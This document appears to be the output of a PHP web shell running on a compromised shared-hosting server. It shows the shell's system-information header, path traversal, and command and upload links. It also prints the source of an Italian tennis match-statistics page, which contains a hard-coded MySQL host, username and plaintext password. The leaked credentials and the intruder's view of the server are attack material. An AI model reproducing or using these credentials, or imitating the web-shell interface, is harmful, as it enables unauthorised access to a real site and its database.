|
Server IP : 10.111.20.6 / Your IP : 216.73.217.121 Web Server : Apache System : Linux webm006.cluster111.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64 User : edizioni ( 7252) PHP Version : 8.3.23 Disable Function : _dyuweyrj4,_dyuweyrj4r,dl MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/edizioni/stampaeweb/../wordpress/../extonymask/includes/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<h3 style="padding-left:20px;">Tennis - Ultime 5 partite disputate</h3>
<?php
include_once('mysql-fix.php');
require_once("support/funformat.php");
require_once("sta_tennis.php");
$oldmm=-1; $flag =0; $conta = 0; $cm=0; // CONTATORE dei Men�
$dbhost1 = "edizionitonym4sk.mysql.db"; $dbname1 = "edizionitonym4sk"; $dbuser1 = "edizionitonym4sk"; $dbpass1 = "Didier0533";
$conn1 = mysql_connect($dbhost1,$dbuser1,$dbpass1)
or die("Impossibile collegarsi al server MySQL.");
mysql_select_db($dbname1,$conn1)
or die("Impossibile selezionare il database $dbname");
$sql1 = "SELECT * FROM new_tennis WHERE YEAR(dapa)>2007 ORDER BY dapa DESC LIMIT 5";
$result1 = mysql_query($sql1,$conn1);
$sql2 = "SELECT COUNT(rkid) conta FROM new_tennis"; // TOTALE PARTITE
$result2 = mysql_query($sql2,$conn1);
$riga2=mysql_fetch_array($result2);
$record2[0]=$riga2; $totalepartite = $record2[0]['conta'];
$sql3 = "SELECT COUNT(rkid) conta FROM new_tennis WHERE esito='V'"; // TOTALE VINTE
$result3 = mysql_query($sql3,$conn1);
$riga3=mysql_fetch_array($result3);
$record3[0]=$riga3; $totalevinte = $record3[0]['conta']; $pervinte = $totalevinte * 100 / $totalepartite;
$sql4 = "SELECT COUNT(rkid) conta FROM new_tennis WHERE esito='N'"; // TOTALE NULLE
$result4 = mysql_query($sql4,$conn1);
$riga4=mysql_fetch_array($result4);
$record4[0]=$riga4; $totalenulle = $record4[0]['conta']; $pernulle = $totalenulle * 100 / $totalepartite;
$sql5 = "SELECT COUNT(rkid) conta FROM new_tennis WHERE esito='P'"; // TOTALE PERSE
$result5 = mysql_query($sql5,$conn1);
$riga5=mysql_fetch_array($result5);
$record5[0]=$riga5; $totaleperse = $record5[0]['conta']; $perperse = $totaleperse * 100 / $totalepartite;
// AVVERSARI PIU' FREQUENTI
$sql6 = " SELECT Count(rkid) AS conta, avversario FROM new_tennis ";
$sql6.= "GROUP BY avversario ORDER BY Count(rkid) DESC";
$result6 = mysql_query($sql6,$conn1);
for ($p=0; $p<10; $p++){
$riga6=mysql_fetch_array($result6); $record6[$p]=$riga6;
$avve[$p] = $record6[$p]['avversario']; $avveconta[$p] = $record6[$p]['conta'];
}
?>
<table border="1" width="100%">
<th width="15%" class="colonna_tennis">Data</th>
<th width="20%" class="colonna_tennis">Luogo</th>
<th width="15%" class="colonna_tennis">Avversario</th>
<th width="15%" class="colonna_tennis">Risultato</th>
<th width="15%" class="colonna_tennis">Note</th>
<?php
if($result1){
$i=0;
do{
$riga1=mysql_fetch_array($result1);
$recordsetx[$i]=$riga1;
$dd= $recordsetx[$i]['dapa'] ;
$avversario = $recordsetx[$i]['avversario'];
$luogo = $recordsetx[$i]['luogo'];
$note = $recordsetx[$i]['note'];
$set1 = $recordsetx[$i]['set1'];
$set2 = $recordsetx[$i]['set2'];
$set3 = $recordsetx[$i]['set3'];
$set4 = $recordsetx[$i]['set4'];
$set5 = $recordsetx[$i]['set5'];
$note = $recordsetx[$i]['note'];
$gg = substr($dd,8,2); // Individua il Mese
$mm = substr($dd,5,2); // Individua il Mese
$aa = substr($dd,2,2); // Individua l'Anno
$m = MeDes($mm);
$risultato = "$set1";
if ($recordsetx[$i]['esito']=="V"){
$colore = "#00CC33";
}elseif ($recordsetx[$i]['esito']=="N"){
$colore = "#333366";
}else{
$colore = "#FF0000";
}
if ($set2!=''){ $risultato .="/$set2";}
if ($set3!=''){ $risultato .="/$set3";}
if ($set4!=''){ $risultato .="/$set4";}
if ($set5!=''){ $risultato .="/$set5";}
if ($avversario!=''){
echo "<tr>";
echo "<td style=\"font-size:10px;\">$gg.$m.$aa</td>";
echo "<td style=\"font-size:12px;\">$luogo</td>";
echo "<td style=\"font-size:14px;\">$avversario</td>";
echo "<td style=\"font-size:16px;\"><span style=\"color:$colore;\">$risultato</span></td>";
echo "<td>$note</td>";
echo "</tr>";
}
}while($riga1);
$i++;
// unset ($recordsetx[$i-1]);
}else{
return FALSE;
mysql_close($conn1);
}
?>
</table>
* <span style="font-size:9px;color:#00cc33">Vinte</span> <span style="font-size:9px;color:#333366">Nulle</span> <span style="font-size:9px;color:#ff0000">Perse</span>
<h3 style="padding-left:20px;">Statistiche Generali - Partite, Sets, Games e Tie-Break</h3>
<table style="padding-left:10px; color: #000000; font-size:16px;" border="1" width="100%">
<!-- PARTITE -->
<tr><th width="20%" class="colonna_tennis">Totale</th><th width="20%" class="colonna_tennis">Vinte</th><th width="20%" class="colonna_tennis">Nulle</th><th width="20%" class="colonna_tennis">Perse</th></tr>
<tr><td style="color: #000000; font-size:20px; text-align:center;"><?php echo $totalepartite;?> <span style="font-size:14px;">Partite</span></td>
<td style="color: #00cc33; font-size:20px; text-align:center;"><?php echo $totalevinte;?> <span style="font-size:12px;"> (<?php echo number_format($pervinte,2);?>%)</span></td>
<td style="color: #333366; font-size:20px; text-align:center;"><?php echo $totalenulle;?> <span style="font-size:12px;"> (<?php echo number_format($pernulle,2);?>%)</span></td>
<td style="color: #ff0000; font-size:20px; text-align:center;"><?php echo $totaleperse;?> <span style="font-size:12px;"> (<?php echo number_format($perperse,2);?>%)</span></td></tr>
<!-- SETS -->
<?php
$setvinti = setvinti(); $setpersi = setpersi(); $settotali = $setvinti + $setpersi;
$persetvinti = $setvinti*100/$settotali; $persetpersi = $setpersi*100/$settotali;
?>
<tr><td style="color: #000000; font-size:20px; text-align:center;"><?php echo $settotali;?> <span style="font-size:14px;">Sets</span></td>
<td style="color: #00cc33; font-size:20px; text-align:center;"><?php echo $setvinti;?> <span style="font-size:12px;"> (<?php echo number_format($persetvinti,2);?>%)</span></td>
<td style="color: #333366; font-size:20px; text-align:center;">--</td>
<td style="color: #ff0000; font-size:20px; text-align:center;"><?php echo $setpersi;?> <span style="font-size:12px;"> (<?php echo number_format($persetpersi,2);?>%)</span></td></tr>
<!-- GAMES -->
<?php
$gamevinti = games("V");
$gamepersi = games("P");
$gametotali = $gamevinti + $gamepersi;
$pergamevinti = $gamevinti*100/$gametotali; $pergamepersi = $gamepersi*100/$gametotali;
?>
<tr><td style="color: #000000; font-size:20px; text-align:center;"><?php echo $gametotali;?> <span style="font-size:14px;">Games</span></td>
<td style="color: #00cc33; font-size:20px; text-align:center;"><?php echo $gamevinti;?> <span style="font-size:12px;"> (<?php echo number_format($pergamevinti,2);?>%)</span></td>
<td style="color: #333366; font-size:20px; text-align:center;">--</td>
<td style="color: #ff0000; font-size:20px; text-align:center;"><?php echo $gamepersi;?> <span style="font-size:12px;"> (<?php echo number_format($pergamepersi,2);?>%)</span></td></tr>
<!-- TIE-BREAK -->
<?php
$tievinti = games("TV"); $tiepersi = games("TP"); $tietotali = $tievinti + $tiepersi;
$pertievinti = $tievinti*100/$tietotali; $pertiepersi = $tiepersi*100/$tietotali;
?>
<tr><td style="color: #000000; font-size:20px; text-align:center;"><?php echo $tietotali;?> <span style="font-size:14px;">Tie-Break</span></td>
<td style="color: #00cc33; font-size:20px; text-align:center;"><?php echo $tievinti;?> <span style="font-size:12px;"> (<?php echo number_format($pertievinti,2);?>%)</span></td>
<td style="color: #333366; font-size:20px; text-align:center;">--</td>
<td style="color: #ff0000; font-size:20px; text-align:center;"><?php echo $tiepersi;?> <span style="font-size:12px;"> (<?php echo number_format($pertiepersi,2);?>%)</span></td></tr>
</table>
<h3 style="padding-left:20px;">Statistiche Varie - Avversari Frequenti</h3>
<table width="100%" border="1"><tr><th width="10%" class="colonna_tennis">Posizione</th><th width="40%" class="colonna_tennis">Avversario</th><th width="20%" class="colonna_tennis">Incontri</th></tr>
<?php
for ($px=0; $px<10; $px++){
?>
<tr><td style="font-size:16px; text-align:center;"><?php echo $px+1;?></td><td style="font-size:16px; padding-left:5px;"><?php echo $avve[$px];?></td><td style="font-size:16px;text-align:center;"><?php echo $avveconta[$px];?></td>
</tr>
<?php
}
?>
</table></html>